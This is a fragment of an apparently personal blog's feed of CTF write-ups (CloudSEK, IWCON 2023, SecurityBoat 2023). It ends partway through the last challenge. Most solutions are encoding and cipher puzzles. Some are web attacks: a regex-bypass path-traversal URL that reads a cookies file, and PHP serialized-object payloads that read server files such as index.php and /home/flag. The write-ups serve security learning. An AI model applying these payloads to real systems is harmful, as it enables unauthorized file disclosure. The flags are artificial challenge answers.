<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="c">&lt;!--
</span></span></span><span class="line"><span class="cl"><span class="c">  $cookie = file_get_contents(&#34;/cookies.txt&#34;);
</span></span></span><span class="line"><span class="cl"><span class="c">  if ($_GET[&#39;getData&#39;]){
</span></span></span><span class="line"><span class="cl"><span class="c">      if(preg_match(&#34;/^http.[:]\/\/(bevigil.com\/)./&#34;, $_GET[&#39;url&#39;];)){
</span></span></span><span class="line"><span class="cl"><span class="c">          $response = file_get_contents($_GET[&#39;url&#39;];, false, $cookiesAndHeaders);
</span></span></span><span class="line"><span class="cl"><span class="c">      }else{
</span></span></span><span class="line"><span class="cl"><span class="c">          $response = false;
</span></span></span><span class="line"><span class="cl"><span class="c">      }
</span></span></span><span class="line"><span class="cl"><span class="c">
</span></span></span><span class="line"><span class="cl"><span class="c">  }--&gt;</span>
</span></span></code></pre></div><p>by analyzing this php code we can divide this process in 3 steps</p>
<ol>
<li>GET parameter <code>getData=true</code> to satisfy the first if condition</li>
<li>value of GET parameter <code>url</code> should match the regex <code>^http.[:]\/\/(bevigil.com\/).</code></li>
<li>use LFI in <code>url</code> parameter to read the <code>/cookies.txt</code></li>
</ol>
<p>first condition is easy just include <code>getData=true</code> in GET request</p>
<p>for the seconde step let&rsquo;s understand the regex</p>
<ul>
<li><code>^http</code>: it means the string should start with <code>http</code></li>
<li>following <code>.</code> means any one character</li>
<li><code>\/\/</code> it means <code>//</code></li>
<li><code>(bevigil.com\/)</code> it means a group in first it start with <code>bevigil</code> + <code>.</code> meaning any one character + <code>com</code> + <code>/</code></li>
<li>last <code>.</code> meaning any character</li>
</ul>
<p>for example: <code>https://bevigil.com/a</code> this will match the regex</p>
<p>but trying LFI in this dose not work so i will use <a href="https://tio.run/#php">online php editor</a> to debug the payload</p>
<p>In this online editor i&rsquo;m using payload=<code>echo file_get_contents(&quot;https://bevigil.com/../../.code.tio&quot;);</code><br>
In the debug section we can see following warning:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">PHP Warning:  file_get_contents(): Unable to find the wrapper &#34;https&#34; - did you forget to enable it when you configured PHP? in /home/runner/.code.tio on line 3
</span></span></code></pre></div><p>It is trying to parse the http protocall so now we have make sure it dose not identify our payload as http url so we can read the local file<br>
for this we have <code>.</code> in regex after http so first i tried different characters like <code>httpq</code>, <code>httpd</code> but it still identify it as http<br>
then i tried special characters, <code>:</code> works now in editor payload=<code>echo file_get_contents(&quot;http:://bevigil.com/../../.code.tio&quot;);</code> works so now we just need to try
few <code>../</code> to get <code>/cookies.txt</code></p>
<p>finally the payload=<code>http:://bevigil.com/../../../../../cookies.txt</code> give us the flag</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">https://webctf.cloudsek.com/hack-in-the-wires?getData=true&amp;url=http:://bevigil.com/../../../../../cookies.txt
</span></span></code></pre></div><p>Flag: <code>CloudSEK{3FI_i$_C00!}</code></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>IWCON CTF 2023</title>
      <link>https://aftabsama.com/writeups/ctf/iwcon-2023/</link>
      <pubDate>Fri, 15 Dec 2023 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/ctf/iwcon-2023/</guid>
      <description>Write-ups for the IWCON CTF 2023 challenges.</description>
      <content:encoded><![CDATA[<hr>
<blockquote>
<p>Start Time: 14th December 2023, 5:30 PM IST</p></blockquote>
<blockquote>
<p>End Time: 15th December 2023, 5:30 PM IST</p></blockquote>
<br>
<h2 id="warmup">WARMUP</h2>
<h3 id="socialize">Socialize</h3>
<ul>
<li>Learn to socialize!</li>
<li><a href="https://discord.gg/H7sQx76n">https://discord.gg/H7sQx76n</a></li>
<li>Flag format: IWCON{}</li>
</ul>
<p>Flag is in <code>iwcon-ctf</code> channel</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/iwcon-2023/md/89de8ffe-c4e1-421f-9fb8-f0d591c9f2fc.webp"></p>
<p>Flag: <code>IWCON{y0u_w3r3_h3r3_f!rst}</code></p>
<h3 id="runme">runme</h3>
<ul>
<li>code me!</li>
<li>Flag format: IWCON{}</li>
<li><code>runme.class</code></li>
</ul>
<p>using online decompiler we get <a href="https://www.decompiler.com/jar/6ae10a74e255424f99b8b8b431e7975b/runme.java">java code</a></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">java.util.Arrays</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">java.util.Base64</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">iwcon</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">   </span><span class="kd">public</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="nf">get_flag</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="kt">byte</span><span class="o">[]</span><span class="w"> </span><span class="n">var0</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&#34;YPSiRhFjpXbIfgVc]NnHoeWlJ_mOEUQT[L`^kKGMda\\Z&#34;</span><span class="p">.</span><span class="na">getBytes</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="kt">byte</span><span class="o">[]</span><span class="w"> </span><span class="n">var1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&#34;c54h1dW2z1yVNTdfzRITS9MJMnj53ByM3Xz0D7azN9Xe&#34;</span><span class="p">.</span><span class="na">getBytes</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="kt">byte</span><span class="o">[]</span><span class="w"> </span><span class="n">var2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="kt">byte</span><span class="o">[</span><span class="n">var1</span><span class="p">.</span><span class="na">length</span><span class="o">]</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="k">for</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">var3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">0</span><span class="p">;</span><span class="w"> </span><span class="n">var3</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="n">var1</span><span class="p">.</span><span class="na">length</span><span class="p">;</span><span class="w"> </span><span class="o">++</span><span class="n">var3</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">         </span><span class="n">var2</span><span class="o">[</span><span class="n">var3</span><span class="o">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">var1</span><span class="o">[</span><span class="n">var0</span><span class="o">[</span><span class="n">var3</span><span class="o">]</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">69</span><span class="o">]</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="n">System</span><span class="p">.</span><span class="na">out</span><span class="p">.</span><span class="na">println</span><span class="p">(</span><span class="n">Arrays</span><span class="p">.</span><span class="na">toString</span><span class="p">(</span><span class="n">Base64</span><span class="p">.</span><span class="na">getDecoder</span><span class="p">().</span><span class="na">decode</span><span class="p">(</span><span class="n">var2</span><span class="p">)));</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="k">return</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">String</span><span class="p">(</span><span class="n">Base64</span><span class="p">.</span><span class="na">getDecoder</span><span class="p">().</span><span class="na">decode</span><span class="p">(</span><span class="n">var2</span><span class="p">));</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">   </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">   </span><span class="kd">public</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="n">String</span><span class="o">[]</span><span class="w"> </span><span class="n">var0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="n">System</span><span class="p">.</span><span class="na">out</span><span class="p">.</span><span class="na">println</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">   </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>in this code we modify main function to add call to <code>get_flag()</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="kd">public</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="n">String</span><span class="o">[]</span><span class="w"> </span><span class="n">var0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="n">System</span><span class="p">.</span><span class="na">out</span><span class="p">.</span><span class="na">println</span><span class="p">(</span><span class="n">get_flag</span><span class="p">());</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">   </span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p><img alt="image" loading="lazy" src="/writeups/ctf/iwcon-2023/md/5887d9de-d232-4534-8825-6c621f3551bc.webp"></p>
<p>Flag: <code>IWCON{y0u_4r3_a_r3v3rs3_3ngin33r}</code></p>
<h2 id="crypto">Crypto</h2>
<h3 id="rota23r">Rota23r</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">📣Nggragvba unpxref!
</span></span><span class="line"><span class="cl">VJPBA 2023 PGS fgnegf ba 🗓14gu Qrprzore 2023, ⌚5:30 CZ VFG.
</span></span><span class="line"><span class="cl">Rkpvgvat cevmrf gb or jba🎁🏆
</span></span><span class="line"><span class="cl">Vs lbh unira&#39;g lrg ertvfgrerq, ertvfgre Abj: uggcf://pgs.vjpba.yvir
</span></span><span class="line"><span class="cl">ernq gur ehyrf
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Flag format: IWCON{}
</span></span></code></pre></div><p>this is rot13 and it decodes to</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Attention hackers!
</span></span><span class="line"><span class="cl">IWCON 2023 CTF starts on ð14th December 2023, â5:30 PM IST.
</span></span><span class="line"><span class="cl">Exciting prizes to be wonðð
</span></span><span class="line"><span class="cl">If you haven&#39;t yet registered, register Now: https://ctf.iwcon.live
</span></span><span class="line"><span class="cl">read the rules
</span></span></code></pre></div><p>in the source code of rules page we can see this comment</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/iwcon-2023/md/3318cae8-6b9f-4b78-8e7d-ab0e86514c56.webp"></p>
<p>this is rot13 of <code>M0V_M3_T0_G3T_TH3_FL4G</code></p>
<p>Flag: <code>IWCON{M0V_M3_T0_G3T_TH3_FL4G}</code></p>
<h3 id="c0l0rcrypt">c0l0rcrypt</h3>
<ul>
<li>Dive into the world of ChromaCrypt, a mysterious box that conceals messages within encoded color sequences. Unraveling the mapping between colors and characters to unveil the hidden message.</li>
<li>Flag format: IWCON{}</li>
</ul>
<p><img alt="image" loading="lazy" src="/writeups/ctf/iwcon-2023/md/dc06dae6-c2d9-4ab7-8bdc-4e13e2c1a13b.webp"></p>
<p>This is <strong>Hexahue</strong> cipher <a href="https://www.dcode.fr/hexahue-cipher">https://www.dcode.fr/hexahue-cipher</a> <br>
decoded value: HU3H3XACRYPT</p>
<p>Flag: <code>IWCON{HU3H3XACRYPT}</code></p>
<h2 id="misc">MISC</h2>
<h3 id="d3code2">D3CODE2</h3>
<ul>
<li>What is it trying to convey? Can you help me understand it? 💻</li>
<li>Flag format: IWCON{}</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">EUZGKJJSMUSTEZJFGJSSKMTFEUZDAJJSMUSTEZJFGJSSKMTEEUZGIJJSGASTEZRFGIYCKMTFEUZGKJJSMUSTEZJFGJSSKMRQEUZGIJJSMUSTEZJFGJSSKMTFEUZDAJJSMYSTEMBFGJSCKMTFEUZGKJJSMUSTEZJFGIYCKMTFEUZGKJJSMUSTEZJFGJSCKMRQEUZGMJJSGASTEZJFGJSSKMTFEUZGKJJSMQSTEMBFGJSSKMTFEUZGKJJSMUSTEZBFGIYCKMTGEUZDAJJSMUSTEZJFGJSSKMTFEUZGKJJSGASTEZJFGJSSKMTFEUZGKJJSMQSTEMBFGJTCKMRQEUZGKJJSMUSTEZJFGJSCKMTEEUZDAJJSMQSTEZBFGJSCKMTEEUZGIJJSGASTEZRFGIYCKMTFEUZGKJJSMUSTEZBFGJSCKMRQEUZGKJJSMUSTEZJFGJSSKMTFEUZDAJJSMYSTEMBFGJSSKMTFEUZGKJJSMQSTEZBFGIYCKMTEEUZGIJJSMUSTEZJFGJSSKMRQEUZGMJJSGASTEZBFGJSSKMTFEUZGKJJSMUSTEMBFGJSSKMTFEUZGKJJSMUSTEZJFGIYCKMTGEUZDAJJSMUSTEZJFGJSSKMTFEUZGKJJSGASTEZJFGJSSKMTFEUZGKJJSMQSTEMBFGJTCKMRQEUZGKJJSMUSTEZJFGJSSKMTEEUZDAJJSMUSTEZJFGJSCKMTEEUZGIJJSGASTEZRFGIYCKMTFEUZGKJJSMUSTEZBFGJSCKMRQEUZGKJJSMQSTEZBFGJSCKMTEEUZDAJJSMYSTEMBFGJSSKMTFEUZGKJJSMUSTEZJFGIYCKMTEEUZGIJJSMQSTEZJFGJSSKMRQEUZGMJJSGASTEZJFGJSSKMTFEUZGIJJSMQSTEMBFGJSSKMTFEUZGIJJSMQSTEZBFGIYCKMTGEUZDAJJSMQSTEZJFGJSSKMTFEUZGKJJSGASTEZJFGJSSKMTFEUZGIJJSMQSTEMBFGJTCKMRQEUZGIJJSMQSTEZJFGJSSKMTFEUZDAJJSMQSTEZBFGJSSKMTFEUZGKJJSGASTEZRFGIYCKMTEEUZGKJJSMUSTEZJFGJSSKMRQEUZGKJJSMUSTEZJFGJSSKMTEEUZDAJJSMYSTEMBFGJSSKMTFEUZGKJJSMUSTEZBFGIYCKMTEEUZGKJJSMUSTEZJFGJSSKMRQEUZGMJJSGASTEZJFGJSSKMTFEUZGIJJSMQSTEMBFGJSCKMTEEUZGIJJSMQSTEZJFGIYCKMTGEUZDAJJSMUSTEZJFGJSSKMTEEUZGIJJSGASTEZBFGJSCKMTEEUZGIJJSMQSTEMBFGJTCKMRQEUZGIJJSMUSTEZJFGJSSKMTFEUZDAJJSMUSTEZBFGJSCKMTEEUZGIJJSGASTEZRFGIYCKMTFEUZGKJJSMUSTEZJFGJSCKMRQEUZGKJJSMUSTEZJFGJSSKMTEEUZDAJJSMYSTEMBFGJSSKMTFEUZGKJJSMUSTEZJFGIYCKMTFEUZGKJJSMQSTEZBFGJSCKMRQEUZGMJJSGASTEZJFGJSSKMTFEUZGIJJSMQSTEMBFGJSCKMTEEUZGIJJSMQSTEZBFGIYCKMTGEUZDAJJSMUSTEZJFGJSSKMTFEUZGKJJSGASTEZBFGJSCKMTEEUZGKJJSMUSTEMBFGJTCKMRQEUZGKJJSMUSTEZJFGJSCKMTEEUZDAJJSMUSTEZJFGJSSKMTEEUZGIJJSGASTEZRFGIYCKMTFEUZGKJJSMUSTEZJFGJSCKMRQEUZGIJJSMQSTEZBFGJSCKMTFEUZDAJJSMYSTEMBFGJSCKMTEEUZGKJJSMUSTEZJFGIYCKMTEEUZGIJJSMQSTEZJFGJSSKMRQEUZGMJJSGASTEZJFGJSSKMTFEUZGKJJSMQSTEMBFGJSSKMRQEUZGMJJSGASTEZBFGJSSKMTFEUZGKJJSMUSTEMBFGJSCKMTFEUZGKJJSGASTEZRFGIYCKMTEEUZGKJJSMUSTEZJFGJSSKMRQEUZGIJJSMQSTEZJFGJSSKMTFEUZDAJJSMYSTEMBFGJSSKMTFEUZGKJJSMQSTEZBFGIYCKMTFEUZGKJJSMUSTEZBFGJSCKMRQEUZGMJJSGASTEZJFGJSSKMTFEUZGKJJSMQSTEMBFGJSCKMTEEUZGIJJSMQSTEZJFGIYCKMTGEUZDAJJSMUSTEZJFGJSSKMTFEUZGKJJSGASTEZBFGJSCKMTEEUZGKJJSMUSTEMBFGJTCKMRQEUZGKJJSMUSTEZJFGJSCKMTEEUZDAJJSMQSTEZBFGJSCKMTEEUZGIJJSGASTEZRFGIYCKMTFEUZGKJJSMUSTEZBFGJSCKMRQEUZGIJJSMUSTEZI
</span></span></code></pre></div><p>This is <a href="https://gchq.github.io/CyberChef/#recipe=From_Base32('A-Z2-7%3D',true)URL_Decode()From_Morse_Code('Space','Line%20feed')From_Hex('None')From_Base64('A-Za-z0-9%2B/%3D',true,false)&amp;input=RVVaR0tKSlNNVVNURVpKRkdKU1NLTVRGRVVaREFKSlNNVVNURVpKRkdKU1NLTVRFRVVaR0lKSlNHQVNURVpSRkdJWUNLTVRGRVVaR0tKSlNNVVNURVpKRkdKU1NLTVJRRVVaR0lKSlNNVVNURVpKRkdKU1NLTVRGRVVaREFKSlNNWVNURU1CRkdKU0NLTVRGRVVaR0tKSlNNVVNURVpKRkdJWUNLTVRGRVVaR0tKSlNNVVNURVpKRkdKU0NLTVJRRVVaR01KSlNHQVNURVpKRkdKU1NLTVRGRVVaR0tKSlNNUVNURU1CRkdKU1NLTVRGRVVaR0tKSlNNVVNURVpCRkdJWUNLTVRHRVVaREFKSlNNVVNURVpKRkdKU1NLTVRGRVVaR0tKSlNHQVNURVpKRkdKU1NLTVRGRVVaR0tKSlNNUVNURU1CRkdKVENLTVJRRVVaR0tKSlNNVVNURVpKRkdKU0NLTVRFRVVaREFKSlNNUVNURVpCRkdKU0NLTVRFRVVaR0lKSlNHQVNURVpSRkdJWUNLTVRGRVVaR0tKSlNNVVNURVpCRkdKU0NLTVJRRVVaR0tKSlNNVVNURVpKRkdKU1NLTVRGRVVaREFKSlNNWVNURU1CRkdKU1NLTVRGRVVaR0tKSlNNUVNURVpCRkdJWUNLTVRFRVVaR0lKSlNNVVNURVpKRkdKU1NLTVJRRVVaR01KSlNHQVNURVpCRkdKU1NLTVRGRVVaR0tKSlNNVVNURU1CRkdKU1NLTVRGRVVaR0tKSlNNVVNURVpKRkdJWUNLTVRHRVVaREFKSlNNVVNURVpKRkdKU1NLTVRGRVVaR0tKSlNHQVNURVpKRkdKU1NLTVRGRVVaR0tKSlNNUVNURU1CRkdKVENLTVJRRVVaR0tKSlNNVVNURVpKRkdKU1NLTVRFRVVaREFKSlNNVVNURVpKRkdKU0NLTVRFRVVaR0lKSlNHQVNURVpSRkdJWUNLTVRGRVVaR0tKSlNNVVNURVpCRkdKU0NLTVJRRVVaR0tKSlNNUVNURVpCRkdKU0NLTVRFRVVaREFKSlNNWVNURU1CRkdKU1NLTVRGRVVaR0tKSlNNVVNURVpKRkdJWUNLTVRFRVVaR0lKSlNNUVNURVpKRkdKU1NLTVJRRVVaR01KSlNHQVNURVpKRkdKU1NLTVRGRVVaR0lKSlNNUVNURU1CRkdKU1NLTVRGRVVaR0lKSlNNUVNURVpCRkdJWUNLTVRHRVVaREFKSlNNUVNURVpKRkdKU1NLTVRGRVVaR0tKSlNHQVNURVpKRkdKU1NLTVRGRVVaR0lKSlNNUVNURU1CRkdKVENLTVJRRVVaR0lKSlNNUVNURVpKRkdKU1NLTVRGRVVaREFKSlNNUVNURVpCRkdKU1NLTVRGRVVaR0tKSlNHQVNURVpSRkdJWUNLTVRFRVVaR0tKSlNNVVNURVpKRkdKU1NLTVJRRVVaR0tKSlNNVVNURVpKRkdKU1NLTVRFRVVaREFKSlNNWVNURU1CRkdKU1NLTVRGRVVaR0tKSlNNVVNURVpCRkdJWUNLTVRFRVVaR0tKSlNNVVNURVpKRkdKU1NLTVJRRVVaR01KSlNHQVNURVpKRkdKU1NLTVRGRVVaR0lKSlNNUVNURU1CRkdKU0NLTVRFRVVaR0lKSlNNUVNURVpKRkdJWUNLTVRHRVVaREFKSlNNVVNURVpKRkdKU1NLTVRFRVVaR0lKSlNHQVNURVpCRkdKU0NLTVRFRVVaR0lKSlNNUVNURU1CRkdKVENLTVJRRVVaR0lKSlNNVVNURVpKRkdKU1NLTVRGRVVaREFKSlNNVVNURVpCRkdKU0NLTVRFRVVaR0lKSlNHQVNURVpSRkdJWUNLTVRGRVVaR0tKSlNNVVNURVpKRkdKU0NLTVJRRVVaR0tKSlNNVVNURVpKRkdKU1NLTVRFRVVaREFKSlNNWVNURU1CRkdKU1NLTVRGRVVaR0tKSlNNVVNURVpKRkdJWUNLTVRGRVVaR0tKSlNNUVNURVpCRkdKU0NLTVJRRVVaR01KSlNHQVNURVpKRkdKU1NLTVRGRVVaR0lKSlNNUVNURU1CRkdKU0NLTVRFRVVaR0lKSlNNUVNURVpCRkdJWUNLTVRHRVVaREFKSlNNVVNURVpKRkdKU1NLTVRGRVVaR0tKSlNHQVNURVpCRkdKU0NLTVRFRVVaR0tKSlNNVVNURU1CRkdKVENLTVJRRVVaR0tKSlNNVVNURVpKRkdKU0NLTVRFRVVaREFKSlNNVVNURVpKRkdKU1NLTVRFRVVaR0lKSlNHQVNURVpSRkdJWUNLTVRGRVVaR0tKSlNNVVNURVpKRkdKU0NLTVJRRVVaR0lKSlNNUVNURVpCRkdKU0NLTVRGRVVaREFKSlNNWVNURU1CRkdKU0NLTVRFRVVaR0tKSlNNVVNURVpKRkdJWUNLTVRFRVVaR0lKSlNNUVNURVpKRkdKU1NLTVJRRVVaR01KSlNHQVNURVpKRkdKU1NLTVRGRVVaR0tKSlNNUVNURU1CRkdKU1NLTVJRRVVaR01KSlNHQVNURVpCRkdKU1NLTVRGRVVaR0tKSlNNVVNURU1CRkdKU0NLTVRGRVVaR0tKSlNHQVNURVpSRkdJWUNLTVRFRVVaR0tKSlNNVVNURVpKRkdKU1NLTVJRRVVaR0lKSlNNUVNURVpKRkdKU1NLTVRGRVVaREFKSlNNWVNURU1CRkdKU1NLTVRGRVVaR0tKSlNNUVNURVpCRkdJWUNLTVRGRVVaR0tKSlNNVVNURVpCRkdKU0NLTVJRRVVaR01KSlNHQVNURVpKRkdKU1NLTVRGRVVaR0tKSlNNUVNURU1CRkdKU0NLTVRFRVVaR0lKSlNNUVNURVpKRkdJWUNLTVRHRVVaREFKSlNNVVNURVpKRkdKU1NLTVRGRVVaR0tKSlNHQVNURVpCRkdKU0NLTVRFRVVaR0tKSlNNVVNURU1CRkdKVENLTVJRRVVaR0tKSlNNVVNURVpKRkdKU0NLTVRFRVVaREFKSlNNUVNURVpCRkdKU0NLTVRFRVVaR0lKSlNHQVNURVpSRkdJWUNLTVRGRVVaR0tKSlNNVVNURVpCRkdKU0NLTVJRRVVaR0lKSlNNVVNURVpJCg">recursive encoding</a> Base32 &gt; URL Encoding &gt; Morse Code &gt; Hex &gt; Base64</p>
<p>After decoding all these encodings we get the flag</p>
<p>Flag: <code>IWCON{y0u_g0t_th4t_r16h7!}</code></p>
<h3 id="decrypt-the-hidden-message">Decrypt the Hidden Message</h3>
<ul>
<li>🔍Howdy, Cyber Sleuths! Gather &lsquo;round for the &ldquo;Crypto Starter Challenge&rdquo; in the world of Codeburg. Two mysterious figures, Cipher Steve and Enigma Emily, have shared an image.Rumor has it there&rsquo;s more to it than meets the eye – a hidden treasure waiting to be discovered.</li>
<li>Your Mission: If you choose to accept, is to break through the cryptographic cloak and unveil the concealed message. It&rsquo;s time to play &ldquo;crypto detective&rdquo; and decode the secrets these mysterious figures have tucked away.</li>
<li>Flag Format: iwconctf{}</li>
<li>Author: Priyatham</li>
<li>File: <code>hidden.jpeg</code></li>
</ul>
<p>open this file with text editor flag is in text format</p>
<p>Flag: <code>iwconctf{tr3asur3_9n_7h3_95land}</code></p>
<h3 id="queueare">QueueAre</h3>
<ul>
<li>Follow the &lsquo;R&rsquo;abbit in a &lsquo;Q&rsquo;</li>
<li>Flag format: IWCON{}</li>
<li>File: <code>QueueAre.zip</code></li>
</ul>
<p>This zip file have 9 images of partial qr code, i used GIMP to organize qr code</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/iwcon-2023/md/45e3c320-269e-4be4-a3a8-8a25daae195d.webp"></p>
<p>This qr code decode to <code>https://pastebin.com/3UpH81pz</code> <br>
It have this following code at line 161 <code>&lt;iframe src='SVdDT057WTBVXzRSM180X0czTjFVU30='&gt;</code> It is Base64 encoded flag.</p>
<p>Flag: <code>IWCON{Y0U_4R3_4_G3N1US}</code></p>
<h3 id="into-the-shadows">Into The Shadows</h3>
<ul>
<li>Am I FUNCTIONing right?</li>
<li>File: <code>javascript.zip</code></li>
</ul>
<p>In this zip we have tons of js files, so based on my CTF experience i guessed that it would have Base64 of flag so
i did recursive grep for <code>SVdDT05</code> which is Base64 of <code>IWCON</code> (from flag format) 😅</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">grep -ira &#34;SVdDT05&#34; *
</span></span></code></pre></div><p><img alt="image" loading="lazy" src="/writeups/ctf/iwcon-2023/md/956b53e2-579c-488d-a94f-60ee00afb8b0.webp"></p>
<p>Here we can see the Base64 encoded flag.</p>
<p>Flag: <code>IWCON{hi33d3n_in_th3_shad0ws}</code></p>
<h3 id="survival">Survival</h3>
<ul>
<li>Survival of the fittest!</li>
<li>Password hash: <code>5E536069E1B0D86997C06889B734BD8FAAFEECEC9083AAFECA79F787C875F787B740418D57E5B352</code></li>
<li>Hint: CVE-2022-25012</li>
</ul>
<p>This CVE is about Argus Surveillance DVR 4.0 - Weak Password Encryption using this <a href="https://github.com/s3l33/CVE-2022-25012/blob/main/CVE-2022-25012.py">PoC</a>
we get the flag</p>
<p>Flag: <code>IWCON{y0u_survived?}</code></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>SecurityBoat - October CTF 2023</title>
      <link>https://aftabsama.com/writeups/ctf/securityboat-2023/</link>
      <pubDate>Fri, 15 Dec 2023 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/ctf/securityboat-2023/</guid>
      <description>Write-ups for the SecurityBoat - October CTF 2023.</description>
      <content:encoded><![CDATA[<hr>
<p>Challange page: <a href="http://ctf.securityboat.in:4000/october_challenge/">http://ctf.securityboat.in:4000/october_challenge/</a></p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/securityboat-2023/md/48daab9f-b9f9-428e-9d19-77840af1dea9.webp"></p>
<p>Here we have one <code>light Mode</code> switch which changes the theme to dark mode</p>
<p>It set the cookie to <code>dark_mode=czo1OiJsaWdodCI7</code><br>
Base64 decoding this we get <code>s:5:&quot;light&quot;;</code><br>
this seems like a php serialized object<br>
we also have the php source code which was shared on the <a href="https://www.linkedin.com/feed/update/urn:li:activity:7118920886455312384?commentUrn=urn%3Ali%3Acomment%3A%28activity%3A7118920886455312384%2C7119579033029255168%29&amp;dashCommentUrn=urn%3Ali%3Afsd_comment%3A%287119579033029255168%2Curn%3Ali%3Aactivity%3A7118920886455312384%29">comments of LinkedIn post</a> of the challange.</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/securityboat-2023/md/e0e26f90-939a-4b78-9db3-a30e55c65881.webp"></p>
<p>In the source code we can see that code will call unserialize() function on base64 decoded cookie value of <code>dark_mode</code></p>
<p>In the source code we notice the <code>GetThemeNameFromFile</code> class contains the <code>__tostring()</code> magic method. This will
invoke the <code>file_get_contents()</code> method on the <code>filename</code> attribute and it will return the file content.</p>
<p>now we have to create serialized PHP object <code>GetThemeNameFromFile</code> with <code>filename</code> attribute<br>
testing payload: <code>O:20:&quot;GetThemeNameFromFile&quot;:1:{s:8:&quot;filename&quot;;s:9:&quot;index.php&quot;;}</code></p>
<p>In response we get the source code of the <code>index.php</code></p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/securityboat-2023/md/248239f1-e925-42d0-b3ab-a6775e92da7d.webp"></p>
<p>now we have to locate the flag file<br>
after few try and error for the flag path we get flag at:<code>/home/flag</code> <br>
payload:<code>O:20:&quot;GetThemeNameFromFile&quot;:1:{s:8:&quot;filename&quot;;s:10:&quot;/home/flag&quot;;}</code></p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/securityboat-2023/md/080230a4-5b66-438f-a9d4-a0b98a762667.webp"></p>
<p>But it not the correct flag<br>
When submitting the wrong flag hint is given:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">That is rabbit hole with wrong path. Please try on other different popular paths as well.
</span></span></code></pre></div><p>So when trying different paths we get one more flag at <code>/etc/flag</code></p>
